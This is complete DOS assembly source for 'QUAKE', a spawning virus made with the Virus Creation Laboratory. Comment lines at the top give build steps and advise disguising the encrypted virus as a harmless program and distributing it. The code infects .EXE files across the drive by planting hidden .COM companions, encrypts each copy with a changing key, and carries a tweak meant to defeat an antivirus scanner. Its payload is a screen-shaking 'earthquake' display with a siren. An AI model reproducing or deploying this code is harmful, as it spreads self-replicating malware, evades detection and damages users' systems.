; -----------------------------------------------------------------------------
; QUAKE.ASM
; Created with Nowhere Man's Virus Creation Laboratory v1.00
;
; Heavily modified VCL and Original Code by the best Bleeding Edge virus
; writer: Night Breeze.  See you all in fuckin' HELL!
;
; This is a "spawning" virus and, technically, a trojan horse.  First time it
; is run, it will do the earthquake thing - but only after infecting another
; file first!  When the infected file is executed (in it's directory) then it
; will infect another file and run the app.  Then, when all files on that drive
; are infected, it will again do the earthquake thing!
;
; Build instructions:
;
;        Assemble QUAKE.ASM to QUAKE.COM
;           d:\tasm\tasm /mx /m2 /q /t quake
;           link quake;
;           exe2bin quake.exe quake.com
;
;        Run QUAKE.COM and file the infected file...<g>
;           Find file
;           ATTRIB *.COM -r -h
;
;        Get a copy of that file as it is encrypted...
;           COPY filename.COM \mydir\TEMP.COM
;
;        Compile QINJECT.PAS
;
;        Cat the two files:
;           COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE  (i know, overwrites)
;
; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
; user types or debugs the program, will see the strings.  The REAL virus
; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
;
; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
; the victim to see an apparently good program - although he is getting
; fucked :)
;
;
; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
;
; -----------------------------------------------------------------------------
code            segment byte public
		assume  cs:code,ds:code,es:code,ss:code
		org     0100h

start           label   near

; -----------------------------------------------------------------------------
main            proc    near
		call    encrypt_decrypt         ; Decrypt the virus

start_of_code   label   near

                inc     Show_Flag               ; Inc infect count

		mov     si, offset spawn_name   ; Save a copy of the
		mov     di, offset save_name    ;   file to "spawn"
		cld
		mov     cx, 14                  ; It's allways 14 bytes
	rep     movsb

		call    search_files            ; Find and infect a file

		mov     al,byte ptr [set_carry] ; AX holds ALL INFECTED value
		cmp     al, 0                   ; Have we infected all files?
		jz      Effect                  ; If so, then do it!

                cmp     Show_Flag,3             ; Should we show display?
                jl      Effect
                jmp     short end00
Effect:
		call    EarthQuake              ; Let's do it!
                jmp     short Finito            ; And don't run app!
end00:
		mov     ah,04Ah                 ; DOS resize memory function
		mov     bx,(finish - start) / 16 + 0272h  ; BX holds # of para.
		int     021h

		mov     sp,(finish - start) + 01100h  ; Change top of stack

		mov     si,offset save_name     ; SI points to true filename
		int     02Eh                    ; DOS execution back-door
Finito:
		mov     ah,04Ch                 ; DOS terminate function
		int     021h
main            endp

; -----------------------------------------------------------------------------
search_files    proc    near
		push    bp                      ; Save BP
		mov     bp,sp                   ; BP points to local buffer
		sub     sp,64                   ; Allocate 64 bytes on stack

		mov     ah,047h                 ; DOS get current dir function
		xor     dl,dl                   ; DL holds drive # (current)
		lea     si,[bp - 64]            ; SI points to 64-byte buffer
		int     021h

		mov     ah,03Bh                 ; DOS change directory function
		mov     dx,offset root          ; DX points to root directory
		int     021h

		call    traverse                ; Start the traversal

		mov     ah,03Bh                 ; DOS change directory function
		lea     dx,[bp - 64]            ; DX points to old directory
		int     021h

		mov     sp,bp                   ; Restore old stack pointer
		pop     bp                      ; Restore BP
		ret                             ; Return to caller

root            db      "\",0                   ; Root directory
search_files    endp

; -----------------------------------------------------------------------------
traverse        proc    near
		push    bp                      ; Save BP

		mov     ah,02Fh                 ; DOS get DTA function
		int     021h
		push    bx                      ; Save old DTA address

		mov     bp,sp                   ; BP points to local buffer
		sub     sp,128                  ; Allocate 128 bytes on stack

		mov     ah,01Ah                 ; DOS set DTA function
		lea     dx,[bp - 128]           ; DX points to buffer
		int     021h

		mov     ah,04Eh                 ; DOS find first function
		mov     cx,00010000b            ; CX holds search attributes
		mov     dx,offset all_files     ; DX points to "*.*"
		int     021h
		jc      leave_traverse          ; Leave if no files present

check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
		jne     another_dir             ; If not, try again
		cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
		je      another_dir             ;If so, keep going

		mov     ah,03Bh                 ; DOS change directory function
		lea     dx,[bp - 98]            ; DX points to new directory
		int     021h

		call    traverse                ; Recursively call ourself

		pushf                           ; Save the flags
		mov     ah,03Bh                 ; DOS change directory function
		mov     dx,offset up_dir        ; DX points to parent directory
		int     021h
		popf                            ; Restore the flags

		jnc     done_searching          ; If we infected then exit

another_dir:    mov     ah,04Fh                 ; DOS find next function
		int     021h
		jnc     check_dir               ; If found check the file

leave_traverse:
		mov     dx,offset exe_mask      ; DX points to "*.EXE"
		call    find_files              ; Try to infect a file
done_searching: mov     sp,bp                   ; Restore old stack frame
		mov     ah,01Ah                 ; DOS set DTA function
		pop     dx                      ; Retrieve old DTA address
		int     021h

		pop     bp                      ; Restore BP
		ret                             ; Return to caller

up_dir          db      "..",0                  ; Parent directory name
all_files       db      "*.*",0                 ; Directories to search for
exe_mask        db      "*.EXE",0               ; Mask for all .EXE files
traverse        endp

; -----------------------------------------------------------------------------
find_files      proc    near
		push    bp                      ; Save BP

		mov     ah,02Fh                 ; DOS get DTA function
		int     021h
		push    bx                      ; Save old DTA address

		mov     bp,sp                   ; BP points to local buffer
		sub     sp,128                  ; Allocate 128 bytes on stack

		push    dx                      ; Save file mask
		mov     ah,01Ah                 ; DOS set DTA function
		lea     dx,[bp - 128]           ; DX points to buffer
		int     021h

		mov     ah,04Eh                 ; DOS find first file function
		mov     cx, 00100111b           ; CX holds all file attributes
		pop     dx                      ; Restore file mask
find_a_file:    int     021h
		jc      done_finding            ; Exit if no files found
		call    infect_file             ; Infect the file!
		jnc     done_finding            ; Exit if no error
		mov     ah,04Fh                 ; DOS find next file function
		jmp     short find_a_file       ; Try finding another file

done_finding:   mov     sp,bp                   ; Restore old stack frame
		mov     ah,01Ah                 ; DOS set DTA function
		pop     dx                      ; Retrieve old DTA address
		int     021h

		pop     bp                      ; Restore BP
		ret                             ; Return to caller
find_files      endp

; -----------------------------------------------------------------------------
infect_file     proc    near
		mov     ah,02Fh                 ; DOS get DTA address function
		int     021h
		mov     di,bx                   ; DI points to the DTA

		lea     si,[di + 01Eh]          ; SI points to file name
		mov     dx,si                   ; DX points to file name, too
		mov     di,offset spawn_name + 1; DI points to new name
		xor     ah,ah                   ; AH holds character count
transfer_loop:  lodsb                           ; Load a character
		or      al,al                   ; Is it a NULL?
		je      transfer_end            ; If so then leave the loop
		inc     ah                      ; Add one to the character count
		stosb                           ; Save the byte in the buffer
		jmp     short transfer_loop     ; Repeat the loop
transfer_end:
                mov     byte ptr [spawn_name],ah; First byte holds char. count
		mov     byte ptr [di],13        ; Make CR the final character

		mov     di,dx                   ; DI points to file name
		xor     ch,ch                   ;
		mov     cl,ah                   ; CX holds length of filename
		mov     al,'.'                  ; AL holds char. to search for
	repne   scasb                           ; Search for a dot in the name
		mov     word ptr [di],'OC'      ; Store "CO" as first two bytes
		mov     byte ptr [di + 2],'M'   ; Store "M" to make "COM"

		mov     byte ptr [set_carry],0  ; Assume we'll fail
		mov     ax,03D00h               ; DOS open file function, r/o
		int     021h
		jnc     infection_done          ; File already exists, so leave
		mov     byte ptr [set_carry],1  ; Success -- the file is OK

		mov     ah,03Ch                 ; DOS create file function
		mov     cx, 00100011b           ; CX holds file attributes
		int     021h
		xchg    bx,ax                   ; BX holds file handle

		call    encrypt_code            ; Write an encrypted copy

		mov     ah,03Eh                 ; DOS close file function
		int     021h

infection_done: cmp     byte ptr [set_carry],1  ; Set carry flag if failed
		ret                             ; Return to caller

; -----------------------------------------------------------------------------
spawn_name      db      0, 12 dup (?),13     ; Name for next spawn
save_name       db      0, 12 dup (?),13     ; Name for current spawn
show_flag       db      0                    ; When 0 & 1 then show display
set_carry       db      ?                    ; Set-carry-on-exit flag
infect_file     endp

; =============================================================================
EarthQuake      proc    near
                call InitCrt       ; Initialize the vars

                call DrawFrame     ; Draw a frame in middle of screen

                mov  cx, 2         ; Make some noise
                call Siren

                mov  si, OFFSET Warning  ; Put Msg 1
                mov  dx,0718h            ; Move to Row 8, column 20
                call WriteStr

                mov  cx, 1
                call Siren

                mov  si, OFFSET ToHills   ; Put Msg 2
                mov  dx,0A16h             ; Move to Row 10, column 18
                call WriteStr

                mov  cx, 2               ; More noise
                call Siren

                call Shake               ; Shake the screen - it's a quake!

                call DrawFrame     ; Draw a frame in middle of screen

                mov  si, OFFSET MadeIt  ; Put Made It Msg
                mov  dx,081Fh
                call WriteStr

                cmp  Show_Flag, 3
                jl   EarthDone
                mov  si, OFFSET BurmaShave  ; Put Logo
                mov  dx,0C36h
                call WriteStr
      EarthDone:
                ret
EarthQuake      endp

Warning         db  '* * * Earthquake Warning! * * *', 0
ToHills         db  'Head for the hills!  Take cover!!!', 0
MadeIt          db  'Whew!  We Made It!', 0
BurmaShave      db  '-=[VCL/BEv]=-', 0

Table struc        ; Structure of the Shaker Table
   Iters    db  0      ; Number of interations (quakes)
   Cols     db  0      ; Scroll number of columns
   Pause    dw  0      ; And then wait this much time
Table ends

QuakeTable      Table < 3,  1, 500>
                Table < 4,  2, 250>
                Table < 5,  3, 175>
                Table < 6,  4, 100>
                Table <10,  5,  30>
                Table <20,  5,  10>
                Table <10,  5,  30>
                Table < 5,  4, 100>
                Table < 4,  3, 175>
                Table < 3,  2, 250>
                Table < 2,  1, 500>
                Table < 0,  0,   0>       ; End of data

; -----------------------------------------------------------------------------
Shake           proc    near
                mov  si, OFFSET QuakeTable   ; Get pointer to table
                xor  cx,cx
   ShakeNext:
                mov  cl, [si].Iters
                jcxz ShakeDone
   ShakeInner:
                push cx                  ; Save for later
                push si                  ; ditto

                xor  ax,ax               ; duh...
                mov  al, [si].Cols       ; Number of columns to scroll
                push ax                  ; Get Ready
                call ScrollRight         ; Go...Scroll Screen to right
                pop  si                  ; Restore it

                cmp  [si].Cols, 3        ; Check if we are scrolling more than 3
                jle  ShakeCont1          ; If less or equal then skip vert scroll
                mov  ah, 6               ; Scroll up 1 line
                call Scroll              ; Do it.
   ShakeCont1:
                mov  cx, [si].Pause      ; delay period
                call Delay               ; Wait around a bit

                push si                  ; And save our table index for l8r
                xor  ax,ax               ; duh...
                mov  al, [si].Cols       ; Number of columns to scroll
                push ax                  ; Get Ready...Set...
                call ScrollLeft          ; Go! ... Scroll screen left
                pop  si                  ; And restore our table index

                cmp  [si].Cols, 3        ; Check if we are scrolling more than 3
                jle  ShakeCont2          ; If less or equal then skip vert scroll
                mov  ah, 7               ; Scroll up 1 line
                call Scroll              ; Do it.
   ShakeCont2:
                mov  cx, [si].Pause      ; pause again
                call Delay               ; Do it.

                pop  cx                  ; Get back our iteration counter
                Loop ShakeInner          ; Keep going
                add  si, 4               ; Move to next table element
                jmp  short ShakeNext     ; Keep on doing it...
  ShakeDone:
                ret
Shake           endp

; -----------------------------------------------------------------------------
; in: cx = number of times to do the siren
Siren           proc    near
     KeepGoing:
                push cx                ; Save the count
                mov  ax, 880           ; Freq
                mov  bx, 500           ; Duration = 1/2 second
                push ax                ; Put Freq on stack
                push bx                ; Put Duration on stack
                call Beep              ; Make a noise
                mov  ax, 660           ; Freq
                mov  bx, 500           ; Duration = 1/5 second
                push ax                ; Put Freq on stack
                push bx                ; Put Duration on stack
                call Beep              ; Make more noise
                pop  cx                ; Restore the count
                loop KeepGoing         ; So we can keep going
                ret
Siren           endp

; -----------------------------------------------------------------------------
; ds:si points to the null terminated string to print
; dx    has row/col -  dh=row
WriteStr        proc    near
                mov bh,0                ; We'll be working on page 0
     WriteMore:
                mov  al,[si]            ; get the next character to print
                cmp  al, 0              ; done yet?
                jz   WriteDone          ; Yep, so quit
                inc  si                 ; si++
                mov  ah,2               ; locate cursor at dx
                int  10h                ; do it
                push cx                 ; save it for later
                mov  cx,1               ; count of characters to write!
                mov  ah,10              ; subfunction 10
                int  10h                ; call bios to do our dirty work
                pop  cx                 ; get it back
                inc  dx                 ; move to next cursor position
                jmp short WriteMore     ; keep going for cx
     WriteDone:
                ret
WriteStr        endp

; -----------------------------------------------------------------------------
DrawFrame       proc    near
                push bp             ; Work around a stoopid bug in PC/XTs
                mov  ax, 0600h      ; Draw and clear the outer frame
                push ax             ; Save for later
                mov  cx, 050Ah      ; Upper screen coords: CH = ROW
                mov  dx, 0D46h      ; Lower bounds, DH = ROW
                mov  bh, 70h        ; Color is White Background, Black fore
                int  10h            ; Do It.

                pop  ax             ; Draw and clear the inner frame
                mov  cx, 060Ch      ; Upper screen coords: CH = ROW
                mov  dx, 0C44h      ; Lower bounds, DH = ROW
                mov  bh, 0Eh        ; Color is Black Background, Yellow fore
                int  10h            ; Do It Again
                pop  bp             ; End of stoopid fix
                ret
DrawFrame       endp

; =============================================================================
ScrollRight     proc    near
                push  bp
                mov   bp, sp
                mov   ax, [bp+4]      ; calc ColsToMove <- LEN shl 1
                shl   ax, 1           ; multiply by 2
                mov   ColsToMove, ax  ; And save it
                mov   bx, NumCols     ; calc WordsToScroll <- NumCols - LEN
                sub   bx, ax          ; adjust for scroll difference
                inc   bx              ; BX = WordsToScroll
                mov   ax, VidSegment  ; Put ES = Video Segment
                mov   es, ax
                xor   ax, ax          ; Start on row 0 aka 1
  sr_NextRow:
                push  ax              ; Save for later
                mul   LineWidth       ; AX now has ROW * LineWidth
                push  ax              ; Save start of row offset for printing
                add   ax, LineWidth   ; AX points to last byte of the row
                sub   ax, ColsToMove  ; This moves back 1 LEN of ch/attr pairs
                mov   di, ax          ; save in DEST
                sub   ax, ColsToMove  ; AX now moves back another LEN pairs
                mov   si, ax          ; save in SOURCE
                mov   cx, bx          ; BX = Words to Scroll
                push  ds              ; Stash this
                push  es              ; Make DS = ES
                pop   ds              ; Like this
                std                   ; Set SI and DI to decrement
                rep   movsw
                pop   ds              ; Get the DS back
                pop   di              ; Grab the Source Offset we saved above
                mov   cx, [bp+4]      ; Prepare to print LEN blanks
                call  PrintBlank
                pop   ax              ; Saved row
                inc   ax              ; Move to next row
                cmp   ax, 25          ; Done with all rows?
                jne   sr_NextRow      ; No?  Then do next row!

                mov   sp, bp
                pop   bp
                ret   2
ScrollRight     endp

; -----------------------------------------------------------------------------
ScrollLeft      proc    near
                push  bp
                mov   bp, sp
                mov ax, [bp+4]      ; calc  ColsToMove := Len Shl 1
                shl ax, 1
                mov ColsToMove, ax
                mov bx, NumCols     ; calc WordsToScroll := pred(NumCols) shl 1
                mov ax, VidSegment  ; Make ES point to the video segment
                mov es, ax

                mov es, ax
                xor ax, ax          ; Start on row 0 aka 1
  sl_NextRow:
                push ax             ; Save Row for later
                mul  LineWidth      ; calc AX := Row * LineWidth
                push ax             ; Save Start of Line
                mov  di, ax         ; This is where it's going
                add  ax, ColsToMove ; calc AX := AX + ColsToMove
                mov  si, ax         ; This will be our source
                push ds             ; Stash for later ...
                push es             ; Make DS = ES = Video Segment
                pop  ds
                mov  cx, bx         ; BX = Words To Scroll
                cld                 ; Set SI and DI to decrement
                rep movsw
                pop  ds             ; Get our DS back...

                pop  di             ; Grab the Source Offset we saved
                add  di, LineWidth
                sub  di, colsToMove
                mov  cx, [bp+4]     ; Prepare to print some blanks
                call PrintBlank     ; Do It

                pop  ax             ; Get back out row value
                inc  ax             ; And move to next row
                cmp  ax, 25         ; first check if we are done
                jne  sl_NextRow     ; If now, then do next row

                mov   sp, bp
                pop   bp
                ret   2
ScrollLeft      endp

; -----------------------------------------------------------------------------
; In  AH = 6  scroll up
;        = 7  scroll down
Scroll          proc    near
                mov  al, 1           ; We will always scroll 1 line
                xor  cx, cx          ; Set Top Row/Col to (0,0)
                mov  dx, 184Fh       ; Set Bottom Row/Col to (24,79)
                mov  bh, 07h         ; Use a normal blank
                push bp              ; Work around a lame bug on PC/XTs
                int  10h             ; Do Bios...Oh Do Me Now
                pop  bp              ; And continue fixing that st00pid bug
                ret                  ; I really feel sill doc'g this routine...
Scroll          endp

; -----------------------------------------------------------------------------
PrintBlank      proc    near
; In  ES - Video Segment
;     DI - Offset to print blank at
;     CX - Number of blanks to print
                cld                     ; store forward (increment DI)
                mov al,' '              ; We want to print a blank
PrintAgain:
                stosb                   ; put in one blank char
                inc  di                 ; skip video attribute
                loop short PrintAgain
                ret
PrintBlank      endp

; -----------------------------------------------------------------------------
; All the routines dealing with Sound and Delays - especially the delay
; calibration routine were mostly stolen from Kim Kokkonen's code in earlier
; version of Turbo Professional.  KK is the owner of Turbo Power - a damn good
; set of programming tools - plug plug!
; Beep(Hz, MS:Word); assembler;
Beep            proc   near
                push  bp
                mov   bp, sp
                mov   bx, [bp+6]   ; hertz
                mov   AX,34DDH
                mov   DX,0012H
                cmp   DX,BX
                jnc   beepStop
                div   BX
                mov   BX,AX          ; Lots of port tweaking... Isn't
                in    AL,61H           ; this shit fun???
                test  AL,3
                jnz   @99
                or    AL,3
                out   61H,AL
                mov   AL,0B6H
                out   43H,AL
 @99:
                mov   AL,BL          ; I know I never get bored.!!
                out   42H,AL
                mov   AL,BH
                out   42H,AL
 BeepStop:
                mov   CX, [bp+4]    ; push ms delay time
                call  Delay    ; and wait...

                IN    AL, 61h  ; Now turn off the speaker
                AND   AL, 0FCh
                out   061h, AL
                mov   sp, bp
                pop   bp
                ret   4
Beep            endp

; -----------------------------------------------------------------------------
; In: cx = delay in ms
Delay           proc   near
        delay1:                     ; What's to say... a tight loop
                call  delayOneMS    ; counting milliseconds
                loop  short delay1
                ret
Delay           endp

; =============================================================================
DelayOneMS      proc   near
                push cx         ; Save CX
                mov  cx, OneMS  ; Loop count into CX
  DelayOne1:
                loop delayOne1  ; Wait one millisecond
                pop  cx         ; Restore CX
                ret
DelayOneMs      endp

; -----------------------------------------------------------------------------
Calibrate_Delay proc    near
                mov  ax,40h
                mov  es,ax
                mov  di,6Ch      ; ES:DI is the low word of BIOS timer count
                mov  OneMS, 55   ; Initial value for One MS's time
                xor  dx,dx       ; DX = 0
                mov  ax,es:[di]  ; AX = low word of timer
  CalKeepOn:
                cmp  ax,es:[di]  ; Keep looking at low word of timer
                je   CalKeepOn   ; until its value changes...
                mov  ax,es:[di]  ; ...then save it
  CalDoMore:
                call DelayOneMs  ; Delay for a count of OneMS (55)
                inc  dx          ; Increment loop counter
                cmp  ax,es:[di]  ; Keep looping until the low word...
                je   CalDoMore   ; ...of the timer count changes again
                mov  OneMS, dx   ; DX has new OneMS }
                ret
Calibrate_Delay endp

; -----------------------------------------------------------------------------
InitCrt         proc    near
                mov  ah,15             ; Get Video Mode
                int  10h
                cmp  al, 7             ; Check if this is monochrome
                je   DoneInit
                add  VidSegment, 800h
DoneInit:
                mov  byte ptr NumCols, ah   ; Set the number of Character Cols
                shl  ah, 1                  ; Mult by two for number of vid bytes
                mov  byte ptr LineWidth, ah ; And stash it...
ToneInit:
                call Calibrate_Delay
                ret
InitCrt         endp

; =============================================================================
VidSegment      dw  0B000h         ; Base Video Segment
NumCols         dw  ?              ; Columns on Screen
LineWidth       dw  ?              ; NumCols * 2
ColsToMove      dw  ?              ; Number of video bytes to move each time
OneMS           dw  ?              ; Calibration value for 1 ms of time

; =============================================================================
encrypt_code    proc    near
		mov     si,offset encrypt_decrypt; SI points to cipher routine

		xor     ah,ah                   ; BIOS get time function
		int     01Ah
		mov     word ptr [si + 9],dx    ; Low word of timer is new key

		xor     byte ptr [si],1         ;
		xor     byte ptr [si + 8],1     ; Change all SIs to DIs
		xor     word ptr [si + 11],0101h; (and vice-versa)

		mov     di,offset finish        ; Copy routine into heap
		mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
		push    si                      ; Save SI for later
		push    cx                      ; Save CX for later
	rep     movsb                           ; Copy the bytes

		mov     si,offset write_stuff   ; SI points to write stuff
		mov     cx,5                    ; CX holds length of write
	rep     movsb                           ; Copy the bytes

		pop     cx                      ; Restore CX
		pop     si                      ; Restore SI
		inc     cx                      ; Copy the RET also this time
	rep     movsb                           ; Copy the routine again

		mov     ah,040h                 ; DOS write to file function
		mov     dx,offset start         ; DX points to virus

		call    finish                  ; Encrypt/write/decrypt

		ret                             ; Return to caller

write_stuff:    mov     cx,finish - start       ; Length of code
		int     021h
encrypt_code    endp

end_of_code     label   near

; -----------------------------------------------------------------------------
encrypt_decrypt proc    near
		mov     si,offset start_of_code ; SI points to code to decrypt
                nop                             ; Defeat SCAN 95B
		mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
		inc     si                      ; Do the next word
		inc     si                      ;
		loop    xor_loop                ; Loop until we're through
		ret                             ; Return to caller
encrypt_decrypt endp

finish          label   near

code            ends
		end     main